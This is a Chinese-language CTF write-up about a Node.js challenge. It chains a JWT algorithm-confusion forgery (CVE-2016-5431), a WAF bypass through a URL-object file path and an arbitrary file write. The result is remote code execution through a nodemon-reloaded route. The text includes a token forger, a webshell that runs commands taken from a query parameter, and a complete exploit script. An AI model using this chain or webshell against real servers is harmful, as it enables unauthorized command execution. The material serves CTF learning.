记周末打的一场研究生赛,难度还是有的,而且不能上网,很痛苦

分析

题目直接给了 docker ,直接在本地构建调试即可

注意查看 Dockerfile 文件发现安装了 nodemon 这个扩展

image-20221114102836431

使用 nodemon 启动nodejs项目会检测项目是否有文件修改,如果有则自动重载项目。

审计源码发现存在登录以及文件上传的 api 。结合这两个似乎可以跨目录文件上传,再结合 nodemon 就可以实现 RCE 了。

// ...
var privateKey = fs.readFileSync('./config/private.pem');

router.post('/login', function(req, res, next) {
  const token = jwt.sign({ username: req.body.username, isAdmin: false, home: req.body.username }, privateKey, { algorithm: "RS256" });
  res.send({
    status:200,
    msg:"success",
    token
  })
})
router.post('/upload', function(req, res, next) {
  if(req.files.length !== 0) {
    var savePath = '';
    if(req.auth.isAdmin === false) {
      var dirName = `./public/upload/${req.auth.home}/`
      fs.mkdir(dirName, (err)=>{
        if(err) {
          console.log('error')
        } else {
          console.log('ok')
        }
      });
      savePath = path.join(dirName, req.files[0].originalname);
    } else if(req.auth.isAdmin === true) {
      savePath = req.auth.home;
    }

    fs.readFile(req.files[0].path, function(err, data) {
      if(err) {
        return res.status(500).send("error");
      } else {
        fs.writeFileSync(savePath, data);
      }
    });
    return res.status(200).send("file upload successfully");
  } else {
    return res.status(500).send("error");
  }
});

但是在 app.js 发现了通防,ban 了很多东西

var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

app.use(function(req, res, next) {
  if([req.body, req.query, req.auth, req.headers].some(function(item) {
      console.log(req.auth)
      return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item));
  })) {
      return res.status(403).send('illegal data.');
  } else {
      next();
  };
});

但注意到如果我们是 admin 用户的话就可以直接完全自定义 savePAth,从而利用 URL实例对象绕过绕过 waf 的限制执行 fs.writeFileSync(savePath, data) 跨目录写任意文件。

CVE-2016-5431 - Key Confusion Attack

参考 https://github.com/ticarpi/jwt_tool/wiki/Known-Exploits-and-Attacks#cve-2016-5431---key-confusion-attack

这个 jwt 漏洞就是如果服务端对 jwt 验证时定义了两种算法,其中 RS256 是非对称加密算法, 而 HS256 为对称加密算法。而如果使用 公钥验证,私钥签名默认给的是 RS256 加密算法,必须要知道 私钥才能伪造 jwt 。如果后端代码使用RSA公钥+HS256算法进行签名验证。那我们将签名算法改为HS256,即将jwt中的 header 的 alg 改为 HS256 , 此时即不存在公钥私钥问题,从而采用对称加密算法,因为对称密码算法只有一个key,那么我们用公钥进行签名就可以伪造任意 jwt了。

注意题目源码这里

var publicKey = fs.readFileSync('./config/public.pem');
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/", "/api/login"] }))

服务端使用了 RSA公钥+HS256算法进行签名验证,而题目给了 public.pem 公钥那么可以写脚本伪造。

import jwt
import time
# 公钥
public = open('public.pem', 'r').read()
header = {
  "typ": "JWT",
  "alg": "HS256"  #修改为 HS256 
}
# 可以任意修改 payload
payload = {
  "username": "admin",
  "isAdmin": True,
  "home": "any",
  "iat": int(time.time())
}
encoded = jwt.encode(payload, public, algorithm='HS256', headers=header)

print(encoded.decode())

注意直接运行会报错

Traceback (most recent call last):
  File "e:\yanjiusheng\docker\CVE-2016-5431 - Key Confusion Attack.py", line 16, in <module>
    encoded = jwt.encode(payload, public, algorithm='HS256', headers=header)
  File "C:\Users\pai\AppData\Roaming\Python\Python39\site-packages\jwt\api_jwt.py", line 65, in encode
    return super(PyJWT, self).encode(
  File "C:\Users\pai\AppData\Roaming\Python\Python39\site-packages\jwt\api_jws.py", line 114, in encode
    key = alg_obj.prepare_key(key)
  File "C:\Users\pai\AppData\Roaming\Python\Python39\site-packages\jwt\algorithms.py", line 150, in prepare_key     
    raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

跟踪源码库 algorithms.py 的150

image-20221114110443881

prepare_key 函数会判断是否有无效字符串,RAS公钥无法用于 HS256 来签名,直接注释掉就行。

image-20221114110743556

改完运行即可。

利用URL实例绕过

这也是个老生常谈的问题了,以前考过类似的 readFileSync ,对应的源码分析参考 我以前的一篇文章 ,而writeFileSync 也是一样的,这样我们利用上面伪造jwt,令 home 为一个对象。服务端解析后req.auth.home为一个 URL实例对象,再利用url编码从而绕过waf。

修改

"isAdmin": True,
"home": {
    "href": "a",
    "origin": "a",
    "protocol": "file:",
    "hostname": "",
    "pathname": "/app/rout%65s/index%2ejs"
}

上传覆盖 /app/routes/index.js 写马

var express = require('express');
var router = express.Router();
router.get('/', function(req, res, next) {
  res.send(require("child_process").execSync(req.query.cmd).toString());
});
module.exports = router;

exp:

import requests
import jwt
import time

url = "http://localhost:8089"

def getJwt():
    public = open('public.pem', 'r').read()
    header = {
    "typ": "JWT",
    "alg": "HS256"
    }
    payload = {
    "username": "admin",
    "isAdmin": True,
    "home": {
        "href": "a",
        "origin": "a",
        "protocol": "file:",
        "hostname": "",
        "pathname": "/app/rout%65s/index%2ejs"
        },
    "iat": int(time.time())
    }
    return jwt.encode(payload, public, algorithm='HS256', headers=header).decode()

def upcmd():
    jwtEncode = getJwt()
    # print(jwtEncode)
    burp0_headers = {"Cache-Control": "max-age=0", "sec-ch-ua": "\"(Not(A:Brand\";v=\"8\", \"Chromium\";v=\"99\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryDCF9dwX3Skc62RY1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36", "Authorization": f"Bearer {jwtEncode}", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://localhost:8082/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    burp0_data = "------WebKitFormBoundaryDCF9dwX3Skc62RY1\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.twig\"\r\nContent-Type: application/octet-stream\r\n\r\nvar express = require('express');\r\nvar router = express.Router();\r\n\r\n/* GET home page. */\r\nrouter.get('/', function(req, res, next) {\r\n  res.send(require(\"child_process\").execSync(req.query.cmd).toString());\r\n});\r\n\r\nmodule.exports = router;\r\n\r\n\r\n------WebKitFormBoundaryDCF9dwX3Skc62RY1\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\xe6\x8f\x90\xe4\xba\xa4\r\n------WebKitFormBoundaryDCF9dwX3Skc62RY1--\r\n"
    return requests.post(url + "/api/upload", headers=burp0_headers, data=burp0_data).text

def access(cmd):
    return requests.get(url + f"?cmd={cmd}").text

if __name__ == '__main__':
    res = upcmd()
    print(res)
    time.sleep(2)
    res = access("/readflag")
    print(res)